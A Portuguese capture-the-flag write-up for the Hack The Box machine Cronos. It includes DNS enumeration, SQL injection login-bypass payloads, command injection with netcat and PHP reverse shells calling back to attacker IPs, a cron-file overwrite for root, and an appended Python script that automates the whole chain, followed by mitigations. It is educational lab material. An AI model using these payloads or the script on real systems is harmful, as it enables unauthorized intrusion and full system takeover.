Cronos
Introdução
https://app.hackthebox.com/machines/Cronos
Cronos é uma máquina Linux de dificuldade Medium do Hack The Box. O IP alvo utilizado foi 10.10.10.13.
O ponto de entrada é uma aplicação web. Existe uma página de login vulnerável a SQL Injection, que permite o bypass da autenticação. Após o login, um campo da aplicação é vulnerável a RCE (Remote Code Execution), o que permite a execução de comandos no sistema e a obtenção de shell. O escalonamento de privilégios é feito substituindo um script PHP executado pelo crontab como root, aproveitando permissão de escrita no arquivo.
O script de exploração automatizado encontra-se no final deste relatório, na seção de Anexos.
Escaneamento
O primeiro passo é enumerar a máquina com nmap, primeiro varrendo todas as portas e depois detalhando serviços e versões apenas nas portas encontradas:
ports=$(sudo nmap -p- -Pn --min-rate=1000 -T4 10.10.10.13 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) && sudo nmap -sC -sV -Pn -p $ports 10.10.10.13
Foram identificadas três portas abertas: 22 (SSH), 53 (DNS) e 80 (HTTP).
Enumeração
Porta 53 (DNS)
Para a enumeração de DNS, o primeiro passo é tentar resolver o próprio IP da Cronos. Usei nslookup, apontando o servidor para a Cronos e consultando o IP dela:
nslookup 10.10.10.13 10.10.10.13
Assim confirmamos que o domínio base é cronos.htb.
Sempre que há DNS em TCP vale a pena tentar uma transferência de zona (AXFR). Nesse caso o servidor aceitou a transferência e retornou dois subdomínios adicionais, admin e www:
dig axfr @10.10.10.13 cronos.htb
Adicionamos os subdomínios no /etc/hosts:

Brute force de subdomínios
Como confirmação, rodei um brute force rápido de subdomínios com gobuster, que retornou apenas os três subdomínios já conhecidos:
gobuster dns -d cronos.htb -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -t 100
Found: www.cronos.htb
Found: ns1.cronos.htb
Found: admin.cronos.htb
Porta 80 (HTTP)
Tanto cronos.htb quanto www.cronos.htb levam para a mesma página:

Página de login
Exploração
A falha principal explorada nesta fase é uma SQL Injection no formulário de login, que permite contornar a autenticação sem credenciais válidas, seguida de um RCE (Remote Code Execution) em um recurso do painel administrativo que executa comandos do sistema operacional sem sanitização adequada.
SQL Injection (bypass de autenticação)
Testando o formulário de login em admin.cronos.htb, obtivemos sucesso em contornar a autenticação usando a payload:
' or 1=1-- -
Uma alternativa que também funciona:
admin'-- -
Isso indica que a query de autenticação concatena o valor de entrada diretamente na cláusula WHERE sem uso de prepared statements, permitindo que a condição 1=1 sempre retorne verdadeiro e o restante da query original seja comentado (-- -).

RCE (Remote Code Execution)
Já autenticado no painel, encontramos uma funcionalidade de traceroute que recebe um host como parâmetro e o repassa para um comando do sistema. O campo não sanitiza o valor recebido, permitindo injetar comandos adicionais usando ;. Testamos com:
8.8.8.8; whoami
O retorno confirmou a execução do comando whoami no servidor, validando a injeção de comandos no sistema operacional.

Explorando o RCE para obter shell
Com a injeção de comandos confirmada, usamos o mesmo campo para enviar um payload de reverse shell via named pipe:
8.8.8.8;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.7 443 >/tmp/f
Com um listener aguardando na porta indicada, o comando cria um pipe nomeado (/tmp/f), conecta a saída de um shell interativo a ele e redireciona tudo para uma conexão nc de volta para a nossa máquina, resultando em uma shell reversa como o usuário do serviço web.

Pós-exploração
www-data → root
Spawn de shell interativa
Assim que obtivemos a shell reversa, tratamos o TTY para facilitar o uso:
/usr/bin/python -c 'import pty; pty.spawn("/bin/bash")'
export SHELL=bash
export TERM=xterm-256color
Enumeração
Rodando o linpeas, o output revela um arquivo PHP executado como root através de uma tarefa agendada no crontab.

cat /etc/crontab
O crontab do sistema executa, a cada minuto, o comando php /var/www/laravel/artisan schedule:run como root — uma tarefa de agendamento típica de aplicações Laravel. Ao checar as permissões do arquivo artisan, constatamos que temos permissão de escrita sobre ele, mesmo sendo executado pelo root.

Envenenando o arquivo Artisan
Substituímos o conteúdo do artisan por uma reverse shell em PHP:
echo '<?php $sock=fsockopen("10.10.14.11",5555);exec("/bin/sh -i <&3 >&3 2>&3");?>' > /var/www/laravel/artisan
Como o crontab executa esse arquivo como root a cada minuto, bastou aguardar até que a tarefa disparasse:
Após cerca de 1 minuto o crontab executou o arquivo modificado, e recebemos uma conexão de volta com privilégios de root, completando o comprometimento total da máquina.
Anexos
Script em Python (cronos-getshell.py) que automatiza toda a cadeia de exploração: login via SQL Injection no painel, envio do payload de reverse shell pelo parâmetro vulnerável a RCE e inicialização do listener local.
#! /usr/bin/env python3
#### Title: Exploit Get Shell - RCE
#### Author: 0xEtern4lW0lf
#### Created: 22 Dez 2022
#### Description: GetShell - Cronos - HTB
#### ========= MODULES =========
import argparse
import requests
import socket, telnetlib
from threading import Thread
import base64
import os
#### ========= VARIABLE =========
#### COLORS ####
RED = "\033[1;91m"
YELLOW = "\033[1;93m"
BLUE = "\033[1;94m"
GREEN = "\033[1;92m"
END = "\033[1;m "
## Set proxy [OPTIONAL]
#proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
#### ========= FUNCTION =========
## Banner
def banner():
EwLogo = f"""
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⡀⠀⠀⠀⠀⠀⠀⣀⠠⠤⢤⣤⣶⣴⣦⣤⣤⣀⡀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⣿⣿⣿⣿⣿⣿⣿⣿⣿⡞⠀⠀⠀⠀⠀⠀⠀⠀⠉⠉⠛⠻⢿⣷⣄⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠻⣄⠈⠉⠛⠿⠟⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠐⡯⣿⣷⡄⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠰⢾⣿⣿⠟⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⢌⡻⢿⡆⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⠝⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⣷⡌⠿⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⣴⠋⠀⣸⣧⣄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠸⣿⡄⠁
⠀⠀⠀⠀⠀⠀⠀⢀⣾⣏⣴⠟⢻⣿⠟⠛⠶⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⠀⢻⣿⡀
⠀⠀⠀⠀⠀⠀⠀⣼⣿⣿⣿⣴⠿⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢹⢳⣜⣿⡇
⠀⠀⠀⠀⠀⣠⣾⣿⠟⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⡇⢿⣿⡇
⠀⠀⢀⣤⣾⡿⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⠸⣿⠇
⢀⣴⣿⡿⠋⠀⠀⠀⠀⠀⣀⣤⣶⣶⣦⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⠀⠀⢸⣿⡄⡿⠀
⢺⣿⡏⠀⠀⠀⠀⢀⣤⣾⣿⠿⠛⠋⠙⠻⣇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡝⣦⠀⣸⣿⡧⠃⠀
⠀⠈⠉⠀⢠⣤⣶⣿⡿⠋⠀⠀⠀⠀⠀⡀⠈⠂⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⡇⣿⣷⣿⣿⠀⠀⠀
⠀⠀⠀⠀⠀⠈⠉⠉⠁⠀⠀⠀⠀⢀⡜⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡆⠀⠀⣼⡇⣾⣿⣿⠇⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⠏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⢻⣿⣀⣾⣿⢡⣿⡿⠋⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣰⣿⠏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣴⡿⢣⣿⣿⣿⣿⣣⡿⠋⠁⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⣰⣿⡿⠀⠀⠀⠀⠀⣀⣠⣤⣴⣶⣿⠿⣋⣴⣿⣿⠿⠛⠉⠁⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⢀⣿⣿⡇⠀⢀⣠⣶⣿⣿⡿⠟⠋⠉⠐⠊⠉⠉⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣇⣴⣿⣿⡿⠟⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠸⣿⣿⣿⣿⣿⠋⠀⠀⠀⠀⠀{RED}#--------------------------------------------#
_____ _ ___ _ _ _ _____ _ __
| ___|| | / || || | | || _ || | / _|
| |__ | |_ ___ _ __ _ __ / /| || || | | || |/' || || |_
| __| | __| / _ \| '__|| '_ \ / /_| || || |/\| || /| || || _|
| |___ | |_ | __/| | | | | |\___ || |\ /\ /\ |_/ /| || |
\____/ \__| \___||_| |_| |_| |_/|_| \/ \/ \___/ |_||_|
#----------------------------------------------------------------#
Author: {GREEN}0xEtern4lW0lf{END}
{RED}Site: {BLUE}https://0xetern4lw0lf.github.io/{END}
FOR EDUCATIONAL PURPOSE ONLY.
"""
return print(f'{BLUE}{EwLogo}{END}')
## Set the handler
def handler(lport,target):
print(f"[+] Starting handler on {lport} [+]")
tn = telnetlib.Telnet()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("0.0.0.0",lport))
s.listen(1)
conn, addr = s.accept()
print(f"[+] Receiving connection the {target} [+]")
tn.sock = conn
print("[+] Habemus Shell! [+]")
tn.interact()
## Function encode Base64
def b64e(s):
return base64.b64encode(s.encode()).decode()
## Create the payload
def createPayload(lhost,lport):
print("[+] Creating the payload !! [+]")
global payload_encoded
global payload
payload = f"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {lhost} {lport} >/tmp/f"
payload_encoded = str(b64e(payload))
## Login as admin on the app
def loginAdmin(rhost):
print("[+] Let's login as admin [+]")
url = f"http://{rhost}:80/"
headers = {"Content-Type": "application/x-www-form-urlencoded"}
data = {"username": "' or 1=1-- -", "password": ""}
## If set proxy, add option "proxies=proxies"
requests.post(url, headers=headers, data=data)
print("[+] Logged In !! [+]")
## Get the reverse shell
def getShell(payload_encoded):
print("[+] Let's get the reverse shell [+]")
url = "http://admin.cronos.htb:80/welcome.php"
headers = {"Content-Type": "application/x-www-form-urlencoded"}
data = {"command": "traceroute", "host": f";echo {payload_encoded} | base64 -d | bash"}
## If set proxy, add option "proxies=proxies"
requests.post(url, headers=headers, data=data)
## main
def main():
try:
## Parse Arguments
parser = argparse.ArgumentParser(description='GetShell - Cronos / HTB - 0xEtern4lW0lf')
parser.add_argument('-t', '--target', help='Target ip address or hostname', required=True)
parser.add_argument('-l', '--lhost', help='Local IP address or hostname', required=True)
parser.add_argument('-p', '--lport', help='Local Port to receive the shell', required=True)
args = parser.parse_args()
rhost = args.target
lhost = args.lhost
lport = args.lport
## banner etern4lw0lf
banner()
## Set up the handler
thr = Thread(target=handler,args=(int(lport),rhost))
thr.start()
## Create the payload
createPayload(lhost,lport)
## Print some information
print("\n[+] Setting information")
print("[+] target: ", rhost)
print("[+] lhost: ", lhost)
print("[+] lport: ", lport)
print("[+] payload: ", payload)
## Login as admin
loginAdmin(rhost)
## Get the Shell
getShell(payload_encoded)
except KeyboardInterrupt:
print(f"\n{RED}[!]{END} {BLUE}Exiting...{END}")
#### ======= EXECUTION =======
if __name__ == '__main__':
main()

Mitigação
- Restringir transferências de zona (AXFR): configurar o servidor DNS (
allow-transfer) para permitir transferências de zona apenas para servidores secundários autorizados, evitando o vazamento de subdomínios internos. - Sanitizar entradas em formulários de autenticação: nunca concatenar entrada do usuário diretamente em queries SQL. Utilizar prepared statements / parameterized queries (ou um ORM) em toda consulta que envolva dados fornecidos pelo usuário, eliminando a classe de vulnerabilidade de SQL Injection.
- Evitar chamadas diretas ao shell com entrada do usuário: funcionalidades como a de
traceroutenão devem repassar entrada de usuário para funções comoexec,systemoushell_execsem validação rígida (allow-list de caracteres, validação de formato de IP/host, ou uso de bibliotecas que não invoquem um shell). - Restringir permissões de arquivos executados por root: nenhum arquivo executado via
cron(ousudo) como root deveria ter permissão de escrita para usuários de menor privilégio, comowww-data. Isso inclui aplicar o princípio do menor privilégio também para os diretórios de aplicação web. - Usar caminhos absolutos e ambientes controlados em scripts privilegiados: ao definir tarefas agendadas ou entradas de
sudoersque executam scripts, especificar caminhos absolutos para interpretadores e dependências, e não confiar em variáveis de ambiente comoPATHcontroladas pelo usuário, prevenindo ataques de PATH hijacking. - Segregar aplicações web do restante do sistema: rodar a aplicação sob um usuário dedicado com privilégios mínimos, sem qualquer necessidade de escrita em arquivos executados com privilégios elevados.
